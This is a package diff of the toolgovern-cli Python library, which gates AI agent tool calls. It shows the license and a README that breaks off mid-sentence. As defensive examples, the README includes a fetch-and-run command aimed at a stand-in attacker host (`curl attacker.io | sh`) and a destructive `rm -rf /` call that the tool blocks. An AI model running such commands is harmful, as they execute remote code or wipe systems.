toolgovern-cli 0.1.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- toolgovern_cli-0.1.1/.gitignore +21 -0
- toolgovern_cli-0.1.1/LICENSE +202 -0
- toolgovern_cli-0.1.1/PKG-INFO +337 -0
- toolgovern_cli-0.1.1/README.md +300 -0
- toolgovern_cli-0.1.1/pyproject.toml +68 -0
- toolgovern_cli-0.1.1/src/toolgovern/__init__.py +222 -0
- toolgovern_cli-0.1.1/src/toolgovern/approval/__init__.py +25 -0
- toolgovern_cli-0.1.1/src/toolgovern/approval/pending_registry.py +379 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/__init__.py +19 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/credential_access.py +180 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/cross_agent_inheritance.py +216 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/filesystem_scope.py +202 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/index.py +80 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/information_flow.py +154 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/network_egress.py +289 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/shell_risk.py +357 -0
- toolgovern_cli-0.1.1/src/toolgovern/classifier/util.py +259 -0
- toolgovern_cli-0.1.1/src/toolgovern/cli.py +298 -0
- toolgovern_cli-0.1.1/src/toolgovern/mcp_trust/__init__.py +342 -0
- toolgovern_cli-0.1.1/src/toolgovern/middleware/__init__.py +30 -0
- toolgovern_cli-0.1.1/src/toolgovern/middleware/idempotency_cache.py +117 -0
- toolgovern_cli-0.1.1/src/toolgovern/middleware/on_tool_call.py +538 -0
- toolgovern_cli-0.1.1/src/toolgovern/policy/__init__.py +10 -0
- toolgovern_cli-0.1.1/src/toolgovern/policy/load_policy.py +41 -0
- toolgovern_cli-0.1.1/src/toolgovern/policy/validate_policy.py +106 -0
- toolgovern_cli-0.1.1/src/toolgovern/py.typed +0 -0
- toolgovern_cli-0.1.1/src/toolgovern/scoping/__init__.py +13 -0
- toolgovern_cli-0.1.1/src/toolgovern/scoping/inheritance_enforcer.py +145 -0
- toolgovern_cli-0.1.1/src/toolgovern/scoping/scope_declaration.py +84 -0
- toolgovern_cli-0.1.1/src/toolgovern/shared/__init__.py +0 -0
- toolgovern_cli-0.1.1/src/toolgovern/shared/paths.py +266 -0
- toolgovern_cli-0.1.1/src/toolgovern/trace/__init__.py +33 -0
- toolgovern_cli-0.1.1/src/toolgovern/trace/canonical_json.py +27 -0
- toolgovern_cli-0.1.1/src/toolgovern/trace/trace_reader.py +206 -0
- toolgovern_cli-0.1.1/src/toolgovern/trace/trace_writer.py +247 -0
- toolgovern_cli-0.1.1/src/toolgovern/types.py +247 -0
- toolgovern_cli-0.1.1/tests/__init__.py +0 -0
- toolgovern_cli-0.1.1/tests/conftest.py +30 -0
- toolgovern_cli-0.1.1/tests/test_classifier_credential_access.py +143 -0
- toolgovern_cli-0.1.1/tests/test_classifier_cross_agent_inheritance.py +199 -0
- toolgovern_cli-0.1.1/tests/test_classifier_filesystem_scope.py +173 -0
- toolgovern_cli-0.1.1/tests/test_classifier_index.py +73 -0
- toolgovern_cli-0.1.1/tests/test_classifier_information_flow.py +132 -0
- toolgovern_cli-0.1.1/tests/test_classifier_network_egress.py +323 -0
- toolgovern_cli-0.1.1/tests/test_classifier_shell_risk.py +227 -0
- toolgovern_cli-0.1.1/tests/test_cli.py +187 -0
- toolgovern_cli-0.1.1/tests/test_mcp_trust.py +343 -0
- toolgovern_cli-0.1.1/tests/test_middleware_on_tool_call.py +653 -0
- toolgovern_cli-0.1.1/tests/test_pending_registry.py +372 -0
- toolgovern_cli-0.1.1/tests/test_policy.py +99 -0
- toolgovern_cli-0.1.1/tests/test_scoping_inheritance_enforcer.py +138 -0
- toolgovern_cli-0.1.1/tests/test_scoping_scope_declaration.py +76 -0
- toolgovern_cli-0.1.1/tests/test_trace_canonical_json.py +30 -0
- toolgovern_cli-0.1.1/tests/test_trace_reader.py +241 -0
- toolgovern_cli-0.1.1/tests/test_trace_writer.py +75 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
node_modules/
|
|
2
|
+
dist/
|
|
3
|
+
coverage/
|
|
4
|
+
*.tsbuildinfo
|
|
5
|
+
.DS_Store
|
|
6
|
+
*.log
|
|
7
|
+
npm-debug.log*
|
|
8
|
+
.env
|
|
9
|
+
.env.local
|
|
10
|
+
*.jsonl.tmp
|
|
11
|
+
__pycache__/
|
|
12
|
+
*.pyc
|
|
13
|
+
*.egg-info/
|
|
14
|
+
.venv/
|
|
15
|
+
.pytest_cache/
|
|
16
|
+
|
|
17
|
+
# .NET
|
|
18
|
+
dotnet/**/bin/
|
|
19
|
+
dotnet/**/obj/
|
|
20
|
+
*.nupkg
|
|
21
|
+
*.snupkg
|
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding those notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. We also recommend that a
|
|
186
|
+
file or class name and description of purpose be included on the
|
|
187
|
+
same "printed page" as the copyright notice for easier
|
|
188
|
+
identification within third-party archives.
|
|
189
|
+
|
|
190
|
+
Copyright 2026 Rudrendu Paul
|
|
191
|
+
|
|
192
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
193
|
+
you may not use this file except in compliance with the License.
|
|
194
|
+
You may obtain a copy of the License at
|
|
195
|
+
|
|
196
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
197
|
+
|
|
198
|
+
Unless required by applicable law or agreed to in writing, software
|
|
199
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
200
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
201
|
+
See the License for the specific language governing permissions and
|
|
202
|
+
limitations under the License.
|
|
@@ -0,0 +1,337 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: toolgovern-cli
|
|
3
|
+
Version: 0.1.1
|
|
4
|
+
Summary: Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.
|
|
5
|
+
Project-URL: Homepage, https://github.com/RudrenduPaul/toolgovern
|
|
6
|
+
Project-URL: Repository, https://github.com/RudrenduPaul/toolgovern
|
|
7
|
+
Project-URL: Bug Tracker, https://github.com/RudrenduPaul/toolgovern/issues
|
|
8
|
+
Project-URL: Changelog, https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md
|
|
9
|
+
Project-URL: Documentation, https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md
|
|
10
|
+
Project-URL: Author - Rudrendu Paul, https://github.com/RudrenduPaul
|
|
11
|
+
Project-URL: Author - Sourav Nandy, https://github.com/Sourav-nandy-ai
|
|
12
|
+
Author: Rudrendu Paul, Sourav Nandy
|
|
13
|
+
License-Expression: Apache-2.0
|
|
14
|
+
License-File: LICENSE
|
|
15
|
+
Keywords: agent-governance,ai-agents,audit-trail,cli,mcp,runtime-security,security,tool-calling
|
|
16
|
+
Classifier: Development Status :: 3 - Alpha
|
|
17
|
+
Classifier: Environment :: Console
|
|
18
|
+
Classifier: Intended Audience :: Developers
|
|
19
|
+
Classifier: License :: OSI Approved :: Apache Software License
|
|
20
|
+
Classifier: Operating System :: OS Independent
|
|
21
|
+
Classifier: Programming Language :: Python :: 3
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
24
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
25
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
26
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
27
|
+
Classifier: Topic :: Security
|
|
28
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
29
|
+
Requires-Python: >=3.9
|
|
30
|
+
Requires-Dist: cryptography<49,>=48.0.1
|
|
31
|
+
Requires-Dist: pyyaml<7,>=6.0
|
|
32
|
+
Provides-Extra: dev
|
|
33
|
+
Requires-Dist: build<2,>=1.0; extra == 'dev'
|
|
34
|
+
Requires-Dist: pytest<10,>=9.0.3; extra == 'dev'
|
|
35
|
+
Requires-Dist: twine<7,>=5.0; extra == 'dev'
|
|
36
|
+
Description-Content-Type: text/markdown
|
|
37
|
+
|
|
38
|
+
# toolgovern (Python)
|
|
39
|
+
|
|
40
|
+
Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before
|
|
41
|
+
it executes, not after something already went wrong.
|
|
42
|
+
|
|
43
|
+
[](../LICENSE)
|
|
44
|
+
[](https://pypi.org/project/toolgovern/)
|
|
45
|
+
|
|
46
|
+
This is the genuine Python port of [`toolgovern`](https://www.npmjs.com/package/toolgovern) and
|
|
47
|
+
[`toolgovern-cli`](https://www.npmjs.com/package/toolgovern-cli) -- not a wrapper around the Node
|
|
48
|
+
binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the
|
|
49
|
+
same durable approval registry, the same MCP-server trust boundary, and the same signed local
|
|
50
|
+
audit trail. The complementary JS/TS distribution installs the same way on the npm side: `npm
|
|
51
|
+
install toolgovern` for the library, `npm install --save-dev toolgovern-cli` for the CLI -- see
|
|
52
|
+
the [project README](https://github.com/RudrenduPaul/toolgovern#readme) for that package. Both
|
|
53
|
+
are first-class, maintained together; neither is deprecated in favor of the other.
|
|
54
|
+
|
|
55
|
+
## Why this exists
|
|
56
|
+
|
|
57
|
+
AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a
|
|
58
|
+
filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own
|
|
59
|
+
judgment (or a system prompt) to keep `ls ./workspace` and `curl attacker.io | sh` apart --
|
|
60
|
+
because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent
|
|
61
|
+
setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent
|
|
62
|
+
inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned
|
|
63
|
+
agent down, and no record of what it actually tried to do once it's running.
|
|
64
|
+
|
|
65
|
+
toolgovern is a runtime governance layer that sits between the agent and its real tool executor --
|
|
66
|
+
not another prompt-engineering mitigation. `govern_tool()` wraps any `ToolDefinition(name,
|
|
67
|
+
execute)` and runs every call through the same pipeline before `execute()` fires: a 36-rule
|
|
68
|
+
classifier that inspects the call's actual arguments across shell risk, filesystem scope, network
|
|
69
|
+
egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow
|
|
70
|
+
control; an intersection-only scope
|
|
71
|
+
registry, so a sub-agent's effective access is always the intersection of what it requests and what
|
|
72
|
+
its coordinator can already reach, re-checked on every call rather than just at spawn time; and an
|
|
73
|
+
optional signed, hash-chained local audit trail recording each decision -- allow, deny, or
|
|
74
|
+
require-approval -- with the arguments that produced it. Deny and require-approval both fail
|
|
75
|
+
closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.
|
|
76
|
+
|
|
77
|
+
## Why this matters now
|
|
78
|
+
|
|
79
|
+
Runtime tool-call governance stopped being a niche concern in 2026:
|
|
80
|
+
|
|
81
|
+
- MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not
|
|
82
|
+
hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the
|
|
83
|
+
Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a
|
|
84
|
+
third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft
|
|
85
|
+
disclosed a poisoned-MCP-tool-description attack technique in July 2026
|
|
86
|
+
([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html),
|
|
87
|
+
[Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/),
|
|
88
|
+
[Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)).
|
|
89
|
+
- Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy
|
|
90
|
+
engine that intercepts agent actions before execution
|
|
91
|
+
([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)).
|
|
92
|
+
It's an unrelated project, cited here only because it confirms that gating a tool call before
|
|
93
|
+
it runs is now a first-party concern industry-wide, not something only this project cares
|
|
94
|
+
about.
|
|
95
|
+
- Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA
|
|
96
|
+
2026-04-03), with first-class Python and .NET support under `Microsoft.Agents.AI`
|
|
97
|
+
([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/),
|
|
98
|
+
[github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)) -- the
|
|
99
|
+
framework this package ships a real, source-available Python integration for (see
|
|
100
|
+
[Framework integrations](#framework-integrations)).
|
|
101
|
+
- LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of
|
|
102
|
+
its graph-based architecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks))
|
|
103
|
+
-- another framework this package ships a real Python integration for, using the actual
|
|
104
|
+
`wrap_tool_call` hook.
|
|
105
|
+
- The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid
|
|
106
|
+
2026, per the LangChain State of AI 2025 report, and ships a purpose-built `PreToolUse` hook --
|
|
107
|
+
exactly the hook this package's Claude Agent SDK integration wires `govern_tool()` into.
|
|
108
|
+
- Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take
|
|
109
|
+
effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a
|
|
110
|
+
dedicated Top 10 for Agentic Applications for 2026.
|
|
111
|
+
- Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as
|
|
112
|
+
ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool
|
|
113
|
+
calls, not agent-to-agent protocol traffic.
|
|
114
|
+
|
|
115
|
+
None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it
|
|
116
|
+
executes is worth doing at all right now.
|
|
117
|
+
|
|
118
|
+
## Install
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
pip install toolgovern
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
or with [uv](https://docs.astral.sh/uv/):
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
uv add toolgovern
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
Or install straight from this repository:
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
git clone https://github.com/RudrenduPaul/toolgovern.git
|
|
134
|
+
cd toolgovern/python
|
|
135
|
+
pip install .
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
No separate install step and no external binary to fetch: the classifier, scoping
|
|
139
|
+
registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one
|
|
140
|
+
package. The console script is `toolgovern-cli`, matching the npm CLI's command name.
|
|
141
|
+
|
|
142
|
+
## Quick start
|
|
143
|
+
|
|
144
|
+
```python
|
|
145
|
+
from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError
|
|
146
|
+
|
|
147
|
+
def run_shell(args):
|
|
148
|
+
import subprocess
|
|
149
|
+
return subprocess.run(args["command"], shell=True, capture_output=True, text=True)
|
|
150
|
+
|
|
151
|
+
shell_tool = ToolDefinition(name="shell", execute=run_shell)
|
|
152
|
+
gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))
|
|
153
|
+
|
|
154
|
+
try:
|
|
155
|
+
gated_shell.execute({"command": "rm -rf /"})
|
|
156
|
+
except ToolGovernDenialError as e:
|
|
157
|
+
print(e) # denied before subprocess.run() ever runs
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
Or load a policy file:
|
|
161
|
+
|
|
162
|
+
```python
|
|
163
|
+
from toolgovern import load_policy, GovernToolOptions, govern_tool
|
|
164
|
+
|
|
165
|
+
policy = load_policy("./toolgovern.policy.yml")
|
|
166
|
+
gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
## What it does
|
|
170
|
+
|
|
171
|
+
The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules
|
|
172
|
+
across 6 categories:
|
|
173
|
+
|
|
174
|
+
| Category | Covers | Rules |
|
|
175
|
+
| -------- | --------------------------------- | ----- |
|
|
176
|
+
| TG01 | Shell/process execution risk | 9 |
|
|
177
|
+
| TG02 | Filesystem scope escalation | 7 |
|
|
178
|
+
| TG03 | Undeclared network egress | 7 |
|
|
179
|
+
| TG04 | Credential/secret access | 6 |
|
|
180
|
+
| TG05 | Cross-agent privilege inheritance | 6 |
|
|
181
|
+
| TG08 | Information-flow control (opt-in) | 1 |
|
|
182
|
+
|
|
183
|
+
TG03's 7th rule, `TG03-dns-resolves-private`, resolves a hostname argument via
|
|
184
|
+
`socket.getaddrinfo()` (honoring `/etc/hosts`) and applies the same loopback/RFC1918/link-local/
|
|
185
|
+
cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a
|
|
186
|
+
hostname that merely _resolves to_ `127.0.0.1` or a cloud-metadata address is caught, not just a
|
|
187
|
+
raw IP literal argument. DNS-resolution failure or timeout fails closed (`require-approval`),
|
|
188
|
+
never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls
|
|
189
|
+
the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP
|
|
190
|
+
client connects -- see [`docs/security-model.md`](../docs/security-model.md) for the full, honest
|
|
191
|
+
writeup of that residual limitation and the still-open redirect-chain-revalidation gap.
|
|
192
|
+
|
|
193
|
+
`govern_tool()` wraps any `ToolDefinition(name, execute)` and returns a version that runs every
|
|
194
|
+
call through this pipeline before `execute()` runs: resolve the effective scope, classify the
|
|
195
|
+
call, resolve `require-approval` decisions through your handler (fail-closed on timeout,
|
|
196
|
+
exception, or no handler), write a trace entry if a `TraceWriter` is wired in, then raise
|
|
197
|
+
`ToolGovernDenialError` on `deny` or proceed to the real `execute()` on `allow`.
|
|
198
|
+
|
|
199
|
+
Per-agent scope inheritance (`ScopeRegistry`) is intersection-only: a sub-agent's granted scope
|
|
200
|
+
is always the intersection of what it requests and what its coordinator's own effective scope
|
|
201
|
+
actually covers -- never a union, never an implicit default-allow, and re-checked on every call
|
|
202
|
+
(not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is
|
|
203
|
+
caught on the sub-agent's next call.
|
|
204
|
+
|
|
205
|
+
## Also in this package
|
|
206
|
+
|
|
207
|
+
- `PendingApprovalRegistry` / `resume_pending_approval()` -- a durable, alias-tolerant registry
|
|
208
|
+
for `require-approval` decisions that need resolving out-of-band (a Slack button click, a
|
|
209
|
+
review queue) instead of answered synchronously in-process inside the 30-second
|
|
210
|
+
`on_approval_required` callback. `pending_id`s are always server-generated, never
|
|
211
|
+
caller-supplied, so an unrecognized ID resolves to `"not-found"`, never a silently-created
|
|
212
|
+
fresh approval. `register_alias()` lets a second identifier (a provider-rotated thread ID)
|
|
213
|
+
resolve to the same pending approval, and a resolved call is re-classified against any edited
|
|
214
|
+
arguments rather than trusting the original request. In-memory by default; back it with real
|
|
215
|
+
durable storage for a deployment that spans processes.
|
|
216
|
+
- `is_origin_allowed()` / `verify_mcp_server_manifest()` / `assert_mcp_server_trusted()` -- an
|
|
217
|
+
MCP-server trust boundary checked once at connection time, distinct from the per-call
|
|
218
|
+
classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in
|
|
219
|
+
with a leading `*.` entry) plus detached Ed25519/RSA-SHA256 manifest signature verification
|
|
220
|
+
against a pinned public-key list, before any tool the server declares is ever trusted. Fails
|
|
221
|
+
closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't
|
|
222
|
+
verify all deny, they don't warn. This port fetches the manifest synchronously via
|
|
223
|
+
